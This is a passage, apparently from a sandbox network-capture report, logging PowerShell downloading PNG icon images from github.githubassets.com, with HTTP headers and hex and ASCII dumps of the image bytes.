3b 08 3b 68 23 32 57 d6 e7 86 49 28 50 a5 f4 62 75 a2 Data Ascii: pQ+9JcHKt4KFd{~PO0z8{&cr-9b.ypxMpafE]&<Aae_5kGq\zZKxTRKR<R_L{f=uLy (Mpf>2u&={Tap076irO%5-,Raj;;h#2WI(Pbu
2024-09-30 13:50:54 UTC	1378	IN	Data Raw: 40 c4 55 a3 30 81 b4 08 7d 46 5c 03 ce 90 a4 d2 1a 4e 6b 71 d5 28 33 a9 74 70 09 f8 c6 1e 05 a6 99 73 27 71 5d 43 9a 94 84 d1 dc 8a fa a6 5c 58 51 0f c9 44 5c 0e d1 c4 65 1c 85 62 bf 6c 15 97 bf 3f 0e 51 c1 ab 44 80 bc b8 06 a4 76 0c 6c ae c8 2d 84 48 bd eb 03 22 55 32 58 40 1a e7 00 8a da 05 4f 2d 2f 8e 56 e2 d2 54 aa 93 1e b9 f4 1e 49 e1 51 5c 44 48 a7 93 03 e0 e0 f1 ad 0e a2 c5 48 6a 47 6e 6f 20 89 ab 0a f3 a4 e6 30 2f c2 ea 40 3c 87 11 d4 ea 92 4c a3 2e 32 0e cf f1 74 32 71 19 c7 a0 d8 2f 9f 3a 80 da 78 88 be dc 7c 00 35 2f 2e 9c 97 62 e3 ac 0e 59 ea 54 20 ae 18 81 c5 a5 0d bd 76 e5 e1 6b 09 58 89 0b fb db 85 28 ed e1 0a 00 17 c2 07 71 71 3d 4a 51 fa 42 23 5a 2c d5 79 57 6d 97 31 d3 a4 e2 20 d7 e9 63 2a e8 a5 30 49 b2 2b 48 35 70 72 fb 78 94 71 2c 8a Data Ascii: @U0}F\Nkq(3tps'q]C\XQD\ebl?QDvl-H"U2X@O-/VTIQ\DHHjGno 0/@<L.2t2q/:x\|5/.bYT vkX(qq=JQB#Z,yWm1 c*0I+H5prxq,
2024-09-30 13:50:54 UTC	1378	IN	Data Raw: 20 2e 60 44 7a 89 0b 10 17 30 22 bd c4 05 88 0b 18 91 5e e2 02 c4 05 8c 48 2f 71 01 e2 02 46 a4 97 b8 00 71 01 23 d2 4b 5c 80 b8 80 11 e9 d5 11 d7 cf ae fd bc 26 1d c7 71 1c f7 fc fe ea 17 42 b7 c9 40 0c a6 46 c1 02 4d 76 90 81 0c 0f 5d 06 51 ad 08 06 75 ab e1 41 86 6b b8 20 16 79 90 dd 3a 28 06 b3 e1 e9 fb 65 df 12 8d 89 b3 cb 08 f9 7e 6d ea 37 bf 16 da 0f 74 17 a7 44 0e a4 81 e1 65 0b fa 16 04 85 ba 93 f6 fd 4e de 8f 3f e0 7d 7c f2 e2 c3 e7 0a a1 5b 0a 06 83 eb eb c1 38 01 08 21 59 50 c8 97 0c c2 e5 22 96 26 34 1a 8f c7 f3 ab 5c ea 7d f5 75 07 20 84 a4 a7 90 2f c9 c3 75 5f 57 d6 2a 95 e5 f2 c4 da 65 d7 43 97 c1 fb aa 7c 2f 3c 89 b3 0b 21 e9 29 e4 4b ea 70 69 ee 3e 68 34 cc a3 6e 4e a9 5b 59 81 39 78 f4 9c 49 72 dc 35 35 20 84 24 85 e1 ea 4d bd 5c 3d 63 Data Ascii: .`Dz0"^H/qFq#K\&qB@FMv]QuAk y:(e~m7tDeN?}\|[8!YP"&4\}u /u_W*eC\|/<!)Kpi>h4nN[Y9xIr55 $M\=c
2024-09-30 13:50:54 UTC	1378	IN	Data Raw: 5b e7 66 c9 50 60 9f da fa 72 45 76 d4 3c c6 e6 cb fe f9 0c 90 fd 65 ac bb 66 ac 8f 5c 55 ab 62 fc 9a ec dc ca 0c 68 af c9 ee 92 17 18 a0 c4 55 81 80 46 03 fa 77 b0 24 6a 2b 0a da 8a 25 ce b5 48 54 56 49 2b b9 36 6e 79 4b 36 1d a6 b9 24 10 c2 e4 82 9b ae 9e 8b fc 22 5c 4d cb 09 94 07 18 41 18 5a c9 10 a2 98 14 17 25 dc a0 6b a5 02 29 c5 90 93 6b cc 31 a2 e9 66 eb 96 4c a3 eb 4e 94 d7 b6 34 4d 17 60 55 1c 27 5c c8 6b 63 5e 42 d7 f3 dc c6 08 19 6a e6 60 04 b7 23 73 c9 00 9e 37 60 8d 08 f6 14 0c 5d 8f b2 99 ba 1c 6b 73 21 23 1d 5c bb 44 46 c4 56 8a 83 2c 5c a9 46 2f 01 f2 9c be 11 68 7e cc 68 90 19 5e 06 25 ae 0f 57 ba 1f ef 5e 7b 7e b8 fb e6 c3 99 7d eb 8e bd 7b b2 a0 ee af ec 87 41 10 d4 83 50 8a eb dc 99 eb 0f 83 de 9e cb 2c 01 08 a5 52 85 c2 08 85 03 85 Data Ascii: [fP`rEv<ef\UbhUFw$j+%HTVI+6nyK6$"\MAZ%k)k1fLN4M`U'\kc^Bj`#s7`]ks!#\DFV,\F/h~h^%W^{~}{AP,R
2024-09-30 13:50:54 UTC	1378	IN	Data Raw: f1 62 10 d7 e2 c5 7b ef dd 3b b6 a5 d7 96 f8 41 a7 13 06 d2 61 ed 56 3d 78 1c 6e aa fb eb 12 81 09 71 d1 5b 45 c0 f3 3c 06 cc 81 a2 89 86 c9 cf 2c de fc cd 33 ae ad f8 21 a9 7a 5e 95 a5 a1 f3 a2 06 7b 18 b6 a2 f6 85 bd f3 47 71 1b 88 e2 b0 ea 11 4c 93 48 2c 6a a4 42 08 b6 08 c1 89 2a 93 26 6c 91 26 85 c1 45 c0 b8 50 39 bb 0b 42 ec 56 11 04 81 21 45 40 90 26 4d ae e0 3d 40 0e 92 03 e4 2a 79 3f cf e8 ed 10 0f c6 71 23 09 e6 cb fe d1 d3 8c 5e 46 85 3e 3c 33 cf 5e 3c b6 d6 ba 75 69 8b 0b 5d ed 90 c5 95 43 12 16 af 8c c8 78 f7 8f cd 66 44 06 03 b9 c8 e1 19 16 17 c2 54 30 f6 6e 65 28 dd e2 2a 64 66 f7 3d 21 2e de 45 64 f4 5c b1 90 05 df 9d 73 a4 99 cc 63 a9 3b e4 0b d2 bc 67 2e 04 d3 05 e2 1a 05 a5 5a 92 16 7d 6d 5e 3f fd 7e fa d9 91 b7 ea 1d ad 70 ed 76 fb 8e Data Ascii: b{;AaV=xnq[E<,3!z^{GqLH,jB&l&EP9BV!E@&M=@y?q#^F><3^<ui]CxfDT0ne(*df=!.Ed\sc;g.Z}m^?~pv

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
98	192.168.2.7	49814	185.199.110.154	443	6764	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-30 13:50:55 UTC	359	OUT	GET /assets/directus-4da9e46da0ac.png HTTP/1.1 Accept: / Accept-Language: en-CH UA-CPU: AMD64 Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; Win64; x64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729) Host: github.githubassets.com Connection: Keep-Alive
2024-09-30 13:50:55 UTC	700	IN	HTTP/1.1 200 OK Connection: close Content-Length: 8268 Cache-Control: public, max-age=31536000, immutable Content-Type: image/png Content-MD5: Z2b+UOgPlfvV1O8aMn4hEg== Last-Modified: Wed, 14 Aug 2024 19:58:01 GMT ETag: "0x8DCBC9B66E42676" Server: Windows-Azure-Web/1.0 Microsoft-HTTPAPI/2.0 Via: 1.1 varnish, 1.1 varnish Accept-Ranges: bytes Date: Mon, 30 Sep 2024 13:50:55 GMT Age: 1057149 X-Served-By: cache-iad-kcgs7200072-IAD, cache-ewr-kewr1740077-EWR X-Cache: HIT, HIT X-Cache-Hits: 10029, 1 Cross-Origin-Resource-Policy: cross-origin Access-Control-Allow-Origin: * Strict-Transport-Security: max-age=31536000 X-Fastly-Request-ID: 7159584639c5c85b439c343fa15e9c88c834f5a0
2024-09-30 13:50:55 UTC	1378	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 c0 00 00 00 c0 08 02 00 00 00 dd be fb 50 00 00 20 13 49 44 41 54 78 01 ec da 55 92 5b 31 10 85 61 6f d4 cc b8 99 30 c7 cc bc 2f c9 94 f7 68 ac 70 4c ea d2 1d d0 fc 55 67 e0 69 f0 ab d3 2d 5d c7 d6 0d 15 52 c8 aa ae 16 35 35 a9 e8 41 49 77 0a 9b 76 61 1b 69 00 14 08 9a 59 55 8d 2b ba 5f da 5c 47 03 20 b2 b4 62 8e 35 d3 2d 1a 31 b7 a1 01 10 1d 33 b8 b1 63 00 84 98 79 4d 4d 5c 3b 06 40 88 19 96 75 cf bf 18 00 21 06 40 9c ae a7 55 35 2a 47 39 95 00 c4 12 03 20 8e d6 1b 07 31 00 42 8c db d1 1a 40 2c 31 b7 5c f8 02 08 2e b6 60 1c 4e 49 00 a2 60 b4 5b c1 00 88 25 06 31 00 12 3c 51 b2 47 6b 04 00 e8 61 9f 5a 03 28 e0 97 53 d1 31 00 8a ea 35 78 04 40 a0 01 90 74 0b 1e 96 41 03 20 47 34 23 6e f3 00 e4 7a 80 Data Ascii: PNGIHDRP IDATxU[1ao0/hpLUgi-]R55AIwvaiYU+_\G b5-13cyMM\;@u!@U5*G9 1B@,1\.`NI`[%1<QGkaZ(S15x@tA G4#nz
2024-09-30 13:50:55 UTC	1378	IN	Data Raw: 0a 6f fb 61 2a c1 50 5b b1 aa f5 98 7d 98 63 62 05 c2 50 3c c6 bf b9 1e da 82 25 b6 49 b2 be 96 27 9d 29 0a f9 5e 5a 31 34 0b 00 08 44 01 74 a8 34 30 d4 1a a5 fe 4e 71 fe cd cd a0 e3 eb 3e 00 a8 58 d9 5a f7 51 47 eb 23 1f 5f 30 11 8d f0 0f 8e b3 6b 57 8a 33 5a 00 24 57 d7 51 51 70 19 ca 22 2e 84 b3 05 10 55 41 07 dc f1 f7 0c 20 78 28 83 8e b4 0c 57 18 db 8a 95 ef 46 7b 59 be 90 c2 33 1e 3b 56 1d c0 c2 28 53 71 bd 04 00 c2 ff 2b 84 de a8 62 c4 ca ae 03 c1 54 21 c3 a1 3a 3a 3d d6 cf 01 4f 05 18 4f cf 71 36 b3 27 79 40 f3 4a 5b 91 0c 00 c9 ed 37 78 a6 c0 17 50 0b 30 67 46 12 20 38 79 9d 59 ef 0c 73 71 7e 71 c6 d4 60 ec 58 15 b1 22 3a 9d e5 b7 b2 56 c8 d2 e8 83 9e 8d 28 4f 89 71 a1 a6 d3 0b c3 48 02 a0 4a 6d 7f 85 a6 77 dd 57 03 43 d0 3f 5c b4 f1 ea 6a c8 61 Data Ascii: oa*P[}cbP<%I')^Z14Dt40Nq>XZQG#_0kW3Z$WQQp".UA x(WF{Y3;V(Sq+bT!::=OOq6'y@J[7xP0gF 8yYsq~q`X":V(OqHJmwWC?\ja
2024-09-30 13:50:55 UTC	1378	IN	Data Raw: fd af 23 8f 4e 70 e7 d7 32 fb 7e f3 af b3 c2 c9 1c cd 40 64 1b 98 f5 f0 29 68 fe 90 cd b8 17 25 1f 9e ec 10 a0 66 b3 33 e8 8b cb b9 01 72 96 b3 09 3f 8f af 41 17 a8 d5 30 55 ea 60 85 8a 05 6e 10 9d 9c 00 b4 d3 4a c6 9f c1 ac 4b 0c 10 31 ff 83 15 d9 ec f4 b3 fe 38 f8 53 df cb c8 bb 5b a1 c7 a7 b9 1b bb d8 33 cd cc c1 35 81 ad 5f 0a 3e 21 ed 55 28 cc 83 f3 4e 85 69 ed a5 24 40 17 37 07 64 5e 68 0c f3 e5 ca 40 d9 ff 03 e5 4a a6 5c c9 56 80 54 5c 0e 01 82 62 19 96 bc 72 b6 4d 42 e8 11 34 2b 85 d5 1a 86 fd ee 68 7e 16 8d 61 15 ba f3 61 f8 c1 31 0e a6 48 5b bf f2 bd df ab 3e 0c 50 80 12 ed 40 a4 06 6a 59 e1 72 8f c9 bc 61 3d d2 1d 03 7a ca 94 08 10 88 ab c8 11 40 60 3c eb 33 17 cb 59 5d 52 46 80 74 23 d7 0f 3a 79 39 22 e0 8a 77 3d 8e dc da cb 1e f8 13 20 c0 8e Data Ascii: #Np2~@d)h%f3r?A0U`nJK18S[35_>!U(Ni$@7d^h@J\VT\brMB4+h~aa1H[>P@jYra=z@`<3Y]RFt#:y9"w=
2024-09-30 13:50:55 UTC	1378	IN	Data Raw: 99 14 a2 e7 1a 02 88 4e ce 9e dd c1 be 40 bc 7e e3 1d e9 56 01 c2 7b 04 fb 39 b3 2f 4c 47 80 cd a7 6f 4f f0 2a 40 5b 75 00 09 f5 6b 73 03 44 dc ec 06 37 5a dc eb 65 e2 f4 40 1a 3d bc 7e 15 3c 00 79 ce 2b b1 f0 c2 86 05 28 94 bd 84 51 7b 70 d3 67 a0 bb f6 e2 4e 10 f2 db 24 17 79 cf 32 fb 81 66 47 0b ec 3f 2d bb 2f 3d 37 30 b5 41 01 ea da a6 b6 10 29 44 d3 60 86 c6 10 45 69 49 1b 19 20 ba 4e 06 11 47 e4 46 f4 1e 2d fd 6c bd 6a 3f cf f6 17 fe f4 45 ff a1 91 86 6d 17 d3 a9 8d 37 98 86 91 d9 76 87 9f 03 d4 29 f5 81 c0 90 dc 39 94 b5 f1 00 fa df 5e 76 cf c3 69 d1 72 20 0a 3d 2b d1 d3 b7 3b 1c 28 c2 09 ce c1 fa b1 53 55 17 fe fc 2e ba e1 00 8a 47 16 db 18 40 88 41 0c 20 88 46 35 68 3c 9e ab 57 a7 0d dc 48 1c 40 b5 da a1 ab 56 02 3d 32 3a 1a 3d 04 d0 9f 5f a5 8b Data Ascii: N@~V{9/LGoO*@[uksD7Ze@=~<y+(Q{pgN$y2fG?-/=70A)D`EiI NGF-lj?Em7v)9^vir =+;(SU.G@A F5h<WH@V=2:=_
2024-09-30 13:50:55 UTC	1378	IN	Data Raw: f7 06 71 68 da 1c 99 26 5b 66 19 34 32 40 68 0f e6 28 5b 06 57 ef cb a6 9b 5f b9 ab 00 b3 85 48 a3 20 e6 cb 37 43 2f 0c ce de 79 6a ac c1 c9 a1 21 74 20 96 97 f1 a5 ef 74 66 31 9e 65 d0 ac 34 5e 92 75 52 00 d2 c7 23 2d 62 ab 18 51 ca 6e da ea 7e ed 81 39 5c 0d 26 34 11 dc 0b 1d 5b 03 8d b6 09 b5 d9 3d f4 48 ef 64 22 b6 1e 33 75 b7 38 e5 d8 e5 52 da 59 79 4a 37 5a 09 9a 1c da 32 b8 8f 8f 0b a6 f2 93 f8 49 08 e9 07 6f f7 85 1f d2 79 f4 2d 26 bd a9 6f df 0b bf 7c ef ec 3d 4d e3 9d fb 3d e2 35 4a 5c 6e ba 84 0b 2b 26 ec 73 71 74 64 e3 91 42 62 76 f5 32 ad 5c d7 c4 a2 76 75 a5 66 63 bf 06 d2 40 f5 c4 47 cf 07 c7 47 b4 f3 24 cf 9f 8d b5 3b 19 43 3c 83 77 ec f3 e0 f2 b9 42 5d bb 89 78 8e 33 f3 bf 7f 1d fd fa dd d0 17 6f 04 f1 76 fd f3 63 7c 7e 6a cd ef f6 4b b7 Data Ascii: qh&[f42@h([W_H 7C/yj!t tf1e4^uR#-bQn~9\&4[=Hd"3u8RYyJ7Z2Ioy-&o\|=M=5J\n+&sqtdBbv2\vufc@GG$;C<wB]x3ovc\|~jK
2024-09-30 13:50:55 UTC	1378	IN	Data Raw: 0d c6 6f 65 a9 18 71 89 9f 7a 76 91 d3 90 d2 a4 5a 28 db 7f 56 72 a3 f8 d1 f2 f9 03 65 63 1c a3 ba 9d 13 f7 76 ce 3d 76 ab ff ae a6 d9 13 8e 71 f8 d3 a1 b2 f1 63 e5 f3 b4 0a e3 00 15 a9 0f 24 5f 8a 40 f4 44 fb 76 46 2e fe 98 3b f0 a3 f9 d1 7b 83 0f f6 83 11 77 71 cb 13 92 5b 38 5c 25 bd 7b 8b b6 0f 7b b6 b2 71 85 4e 67 ba c3 99 6e 73 a4 b1 ff dc 6c 63 bb 89 0d 7c 43 d1 98 40 12 97 04 93 4c 52 76 c9 c4 c8 12 49 22 87 e3 52 50 d1 8e 95 fb c1 0a 22 91 28 d0 03 fb 99 65 85 b2 f8 cb 78 d1 7b c4 c6 4f cf f6 c8 85 1f 72 d3 03 cf bc ed e8 18 0d 0a 66 db 30 27 74 4a 87 4b af 0a 0a 51 82 bd c3 25 44 16 f3 d2 ca 30 41 9c 24 11 a9 fc c4 ff 83 59 31 cd ea 46 27 2b 62 60 05 c4 40 2a 3a 13 87 ca 26 b1 ec 57 ab 64 8a e8 29 56 23 51 8e 3e fa 3b 59 7e fd d8 50 ef fc f5 07 Data Ascii: oeqzvZ(Vrecv=vqc$_@DvF.;{wq[8\%{{qNgnslc\|C@LRvI"RP"(ex{Orf0'tJKQ%D0A$Y1F'+b`@*:&Wd)V#Q>;Y~P

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
99	192.168.2.7	49815	185.199.110.154	443	6764	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-30 13:50:55 UTC	362	OUT	GET /assets/commandpost-18d45fffda67.png HTTP/1.1 Accept: / Accept-Language: en-CH UA-CPU: AMD64 Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; Win64; x64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729) Host: github.githubassets.com Connection: Keep-Alive
2024-09-30 13:50:56 UTC	701	IN	HTTP/1.1 200 OK Connection: close Content-Length: 35498 Cache-Control: public, max-age=31536000, immutable Content-Type: image/png Content-MD5: 1D5HdQqAEp92ZeVQ/64UOA== Last-Modified: Wed, 14 Aug 2024 19:53:41 GMT ETag: "0x8DCBC9ACC4E4512" Server: Windows-Azure-Web/1.0 Microsoft-HTTPAPI/2.0 Via: 1.1 varnish, 1.1 varnish Accept-Ranges: bytes Date: Mon, 30 Sep 2024 13:50:55 GMT Age: 1741554 X-Served-By: cache-iad-kiad7000179-IAD, cache-ewr-kewr1740043-EWR X-Cache: HIT, HIT X-Cache-Hits: 24729, 3 Cross-Origin-Resource-Policy: cross-origin Access-Control-Allow-Origin: * Strict-Transport-Security: max-age=31536000 X-Fastly-Request-ID: 0d1bfa990d4bf66f8aa1528144937497469bb616
2024-09-30 13:50:56 UTC	1378	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 c0 00 00 00 c0 08 06 00 00 00 52 dc 6c 07 00 00 8a 71 49 44 41 54 78 01 ec d3 01 11 80 40 08 00 30 f0 b8 cf 82 f4 0f 43 1c 73 a8 5b 87 65 c0 8f 5d 01 02 80 00 20 00 08 00 02 80 00 20 00 08 00 02 80 00 20 00 08 00 02 80 00 20 00 08 00 2f 52 f1 51 dd 9d bb 1b f7 cc a9 aa 93 0f f7 54 a1 64 47 0c c3 e4 6c 99 b9 c7 38 54 66 18 3c f8 ff a1 32 33 33 73 ad e6 69 6a 4f b6 f0 01 ef b4 e4 58 56 50 0b 5b 05 d3 7a 57 83 f5 b1 fe 1e 98 12 ac 81 0d 3e a5 49 15 45 54 06 24 3b 11 10 0a c1 6c d4 7c 07 24 6c c0 49 0a e2 b7 46 71 8b 86 ff 3f 67 46 05 1a 5f b5 2e 4a 10 e3 48 28 66 b3 be 9f 60 13 57 88 63 48 f1 23 59 0e 78 fe 20 f0 1d f5 21 f9 e3 da d5 ab 9f b7 6c d9 82 e9 e9 69 55 ac b8 1f e0 c4 89 13 18 46 3c 79 f2 64 Data Ascii: PNGIHDRRlqIDATx@0Cs[e] /RQTdGl8Tf<233sijOXVP[zW>IET$;l\|$lIFq?gF_.JH(f`WcH#Yx !liUF<yd
2024-09-30 13:50:56 UTC	1378	IN	Data Raw: 37 b8 0d 17 58 9d 6d 3a e6 e2 02 14 89 c9 12 ed b3 ef be 38 e2 c8 a3 70 4c 8a 51 1c 75 f4 31 c8 c9 cd 81 56 ee 75 21 4f 77 ff 3d 77 4f 2d 2f 2d b9 14 80 6a 12 25 24 d7 d6 88 62 a8 88 37 74 d8 f0 2e 93 4b 4a ef 92 4a 65 db 0b 4b ee 52 a5 8e b5 ab 57 e3 c1 fb ef c3 e3 8f 3e 82 5f 7e f9 25 ad a5 b5 cb 2c 05 6a 88 a2 f1 ff e9 da e9 2d d2 59 64 db c2 d3 b5 6b 1c e9 bc 41 0c 80 44 67 8b 62 00 c8 55 2f 0e b0 ed 7a 45 45 45 68 d5 a6 2d fa f4 1f 80 ad b7 de da fe 16 c2 fb 08 28 d1 b4 4f 3e 79 b0 6b e7 8e fd 01 54 37 3a 00 8c 6b 6b 4c 59 bf 7e bd 77 f1 a5 97 0d ed d9 a7 ef b5 52 4a 4f 86 99 1c 73 d8 0a f4 c6 eb af a1 74 f2 e4 d4 47 af 5f dd 14 a1 61 e2 a4 55 0e 4b 47 7d 98 67 a2 fa b2 81 43 d7 d1 fd 69 e2 f3 9a 83 de a9 a0 76 b6 26 8a 86 b9 ef c5 f6 5e 91 6b ee 02 Data Ascii: 7Xm:8pLQu1Vu!Ow=wO-/-j%$b7t.KJJeKRW>_~%,j-YdkADgbU/zEEEh-(O>ykT7:kkLY~wRJOstG_aUKG}gCiv&^k
2024-09-30 13:50:56 UTC	1378	IN	Data Raw: 7b 8b 52 96 3f 87 2b b8 f9 fb e6 eb af 70 fe d9 67 9a ec 50 ac 8f 2f ee 1d 9e d1 2f ca 4d 61 e2 f3 79 fe 83 1b 8f a5 38 7d 73 cd 36 7c 29 b6 15 d9 0f e9 8e b1 fc c5 89 2c 6c 98 3a b6 2a 2c c4 94 56 9d b0 5b 22 17 d5 d9 d9 b8 ec cd 97 31 f3 9b 2f b1 32 99 c4 2a 99 c4 5a 69 bc 80 34 74 28 68 4b f0 4d 79 61 fb 81 f5 87 0e e2 03 7a 93 4a c7 8e 15 dc 73 77 af 85 1d 0c c7 89 a3 d2 be 8f eb 6f be 05 67 9e 7d 0e 48 a4 94 c1 3d b3 53 e1 9a 2b 2e 1f 92 da 4e 7d bb 29 6e 29 1e c0 ef 3f 70 d0 08 a3 fc 64 5d c9 58 0a a1 51 56 32 85 22 7f 5a 00 e7 ff dc bd a7 b3 5c 2e b0 d8 9c 38 cd b6 dd 58 2f 9c b7 c9 33 3b 46 b9 f9 41 a0 d0 6c 7f bc 29 cf 12 08 02 df 1c cf 0b 62 80 b3 f6 3d 10 bb af 5c 0d bd ea 37 e4 fa 59 68 bb d7 01 58 f4 fd b7 a8 31 b1 80 ae 0f 86 93 22 a0 8a 21 Data Ascii: {R?+pgP//May8}s6\|),l:,V["1/2Zi4t(hKMyazJswog}H=S+.N})n)?pd]XQV2"Z\.8X/3;FAl)b=\7YhX1"!
2024-09-30 13:50:56 UTC	1378	IN	Data Raw: 12 7d f4 55 00 a9 0c 3f cf 91 48 4c 31 cd d7 c3 8d 20 f6 96 9b 2c b7 4f 39 49 cb ef 5f 58 b4 3f 4b 9c 73 66 b3 ad 0a 9f fb f9 5f 00 22 a8 a6 36 8e 8d 1f f0 29 1b 01 f8 5a 60 02 e2 b4 09 80 cc 02 f0 86 db 3c 1c 58 96 38 c3 0f ff f0 0f b5 04 d8 35 99 c8 5d 21 b8 d6 da f7 a6 89 1a de ef 53 22 a9 d0 27 61 95 12 7d 9a b5 b0 2e 04 60 32 67 f4 0d 4d 36 e3 76 33 7c c1 f8 01 8b 39 05 05 56 aa 9c e9 3b ce f6 ab 0d f5 9c 5b 75 7c d9 6d 1f c3 f5 1b 21 67 18 b8 51 7b be ec a3 3f 8a bf fb 0d df 08 9a c8 1e 24 a0 4f 1d a9 eb 40 15 91 84 9b 23 a2 84 6a e9 2f c9 31 69 10 26 71 4e d7 7c d8 f3 5f cb c7 ae 5f 88 bd f7 3e 44 cf f1 c5 2f fa 4c 7e e0 ce ef 27 3f f9 10 57 19 19 24 e3 16 10 8a 7a c6 63 cb 6c ed b8 69 f9 4e 3a 3a ed e8 b5 67 95 56 1c f4 07 24 a9 56 94 60 f2 89 d1 Data Ascii: }U?HL1 ,O9I_X?Ksf_"6)Z`<X85]!S"'a}.`2gM6v3\|9V;[u\|m!gQ{?$O@#j/1i&qN\|__>D/L~'?W$zcliN::gV$V`
2024-09-30 13:50:56 UTC	1378	IN	Data Raw: 59 c3 27 6d 1a bf 90 48 82 6c 44 c5 f6 73 94 c6 c9 ea 58 04 91 27 c4 94 66 01 a4 cc 33 61 d9 70 73 42 94 10 c7 c8 60 5e f3 03 02 d1 2c 47 10 c5 8a 00 19 b4 be 93 cc da bd 63 86 9b 05 d7 33 32 31 15 21 48 92 e8 eb fb 40 0f 78 ed c5 d7 92 2e 55 28 76 04 2f bf f5 e5 7c 53 fa a6 f2 ff 13 09 95 04 a1 a8 50 8e 43 04 51 c5 6a b4 29 0c e6 23 30 0f 08 5f 6e 32 da 34 78 fb b7 8d d2 45 c0 09 16 22 a2 a0 86 d2 36 7e a2 5a f4 5b 6e bd e5 d9 0b 0b c0 a9 b2 00 b7 3e e5 29 cf 02 f0 08 a0 52 c0 bd f7 dc b3 1b 27 de a3 fd 63 5b 67 a3 20 b2 2d fd 6d b2 11 d4 7e 11 92 42 df 09 eb 3e d1 a5 19 5b 6b bd ae ee 60 16 44 85 11 eb 75 cf 7a d5 97 76 25 60 97 af 22 43 86 ac 88 1c 73 76 bd 66 30 18 3d 40 95 6c 45 b0 e6 cc ad 2a 7d f5 31 b2 19 a3 39 c7 79 62 72 af f9 80 8e ae 4b 48 3d Data Ascii: Y'mHlDsX'f3apsB`^,Gc321!H@x.U(v/\|SPCQj)#0_n24xE"6~Z[n>)R'c[g -m~B>[k`Duzv%`"Csvf0=@lE*}19ybrKH=
2024-09-30 13:50:56 UTC	1378	IN	Data Raw: f3 60 0d da 87 aa f5 1d 62 39 60 99 83 00 8f c6 38 4d 08 94 5e fb 42 2b 59 c1 00 31 04 24 90 5e e8 a2 a3 97 be 68 f4 f0 40 42 da f9 cd ad 05 9a b4 9d ef ec a7 88 a0 68 c9 11 90 12 7d 7f 86 a7 6f 42 a5 7f f1 2f ff 75 e2 dc 05 c6 75 f0 ff be e2 bf f3 75 5f f3 95 74 61 24 cf 84 08 b8 95 b9 e8 57 c8 6a 85 57 df cc f2 84 8f 43 99 db 09 24 02 09 c7 47 db 5b 15 50 04 e0 c9 27 6a 9f 13 08 12 e0 ee dc 74 d3 cd e7 00 a9 85 95 bf 32 01 d8 4e f2 2b 17 00 90 b3 b1 28 9a 0a 28 3f 62 5f c1 5b 0b 55 a6 24 b3 e6 ef b5 68 f4 33 6b e1 fc d9 c4 d9 03 29 56 20 a9 60 26 8c 53 30 8c 30 4d 81 5b 1b ff 0b e3 3a de f4 49 2f e5 dc 95 7b f0 31 23 fe 28 9f f3 f1 2f e0 3b be ed 67 30 9b f0 70 94 ea 7c aa 02 75 b1 7a 85 eb 2c f2 0b a2 4a d2 20 89 d2 77 5d 71 ac c3 66 d3 13 ee 84 2a 0a Data Ascii: `b9`8M^B+Y1$^h@Bh}oB/uuu_ta$WjWC$G[P'jt2N+((?b_[U$h3k)V `&S00M[:I/{1#(/;g0p\|uz,J w]qf*
2024-09-30 13:50:56 UTC	1378	IN	Data Raw: 88 7a 6e 5e 86 2b 4a 87 98 55 c7 bd 43 ca 77 81 61 84 28 52 2d 01 3a ff 46 09 45 11 b4 ce 2b 49 70 71 44 6b 2b 02 0a da 69 8d 16 cd d4 2c 8b 61 5b 87 38 04 84 42 aa 75 4e f1 d2 26 55 5a a6 dd b5 29 ba c5 23 95 92 e2 74 68 a7 48 df d1 75 2b a6 cb d5 1f d2 60 9c 20 f5 d5 47 e9 12 56 af 6f 6c 28 3c 20 05 44 ec 6e b9 32 5b 37 82 65 59 b5 08 dd a9 b3 00 29 a5 22 00 ee db 1f d1 42 7b 66 76 62 06 58 45 c8 d9 31 4b 98 09 39 47 31 b3 71 64 68 97 61 72 24 ad f0 63 c3 2c 63 16 65 0c 49 31 4b 35 ee ec 68 69 21 2c 90 f0 59 f3 da ac 51 c3 05 03 c2 ab 56 77 43 08 c2 32 e2 41 2b 57 f0 aa 85 45 14 d3 8c ab a2 1e 50 fd 00 54 c1 67 3f c1 db dc 80 57 9a 97 32 1a 62 0e e8 6c 01 ac 9d 8b 03 d0 d7 0c 70 e4 3c cf ed 0e 50 8e a3 8e 0d af 89 bc c2 fc 86 7a 6c f9 a3 5a 04 ac f9 2d Data Ascii: zn^+JUCwa(R-:FE+IpqDk+i,a[8BuN&UZ)#thHu+` GVol(< Dn2[7eY)"B{fvbXE1K9G1qdhar$c,ceI1K5hi!,YQVwC2A+WEPTg?W2blp<PzlZ-
2024-09-30 13:50:56 UTC	1378	IN	Data Raw: 10 cc e6 48 81 48 e0 01 53 86 a4 5e c7 cb 5c 0e 61 db 90 a9 f7 81 e2 74 c9 b9 f3 ee 47 f9 a3 ff eb 67 79 cd b3 6e e5 ae 47 ee e5 5d f7 3d ca d1 18 85 f9 b3 05 41 30 2d 16 ea 10 54 0a 84 6d 56 b6 75 9b 3b 39 82 b1 85 34 a7 0c 6e 90 52 99 67 72 2f 14 00 55 4b 05 20 4b fb bc 53 c6 5d d9 71 ab dd ea 67 da 98 1a 40 10 da 48 76 36 0c ab f5 34 58 3d 8e d6 8b 33 33 f5 14 13 83 0f 15 de 09 51 19 3a 7b 11 80 42 2d 33 8e b0 2d 85 f0 68 9f 5b 3e a0 b4 45 00 6c 22 30 6c 82 f7 df 73 07 ff e3 ff fe 21 9e f1 bc d7 f3 c1 27 ee e5 9e fb df c1 70 7c 05 1b 8f c9 c3 31 36 0d 44 38 0e 30 26 64 ec 89 b4 2d 86 8b 2a 04 92 27 3c 67 c4 f7 ef f0 b1 bc 46 ad f8 2f 1a ef c7 e9 dc 1b 54 20 92 bb d7 7d 65 